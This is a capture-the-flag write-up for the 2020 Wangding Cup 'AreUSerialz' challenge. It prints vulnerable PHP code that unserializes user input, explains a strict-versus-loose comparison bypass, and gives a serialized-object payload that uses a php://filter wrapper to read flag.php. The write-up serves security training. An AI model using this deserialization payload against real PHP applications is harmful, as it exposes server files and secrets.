[网鼎杯 2020 青龙组]AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
这是反序列吧,
__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op=="2",可以通过弱类型绕过。
绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true
利用php伪协议
<?php class FileHandler { public $op = 2; public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php'; public $content; } echo serialize(new FileHandler); ?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
base64解码,flag出。
参考:https://blog.csdn.net/Oavinci/article/details/106998738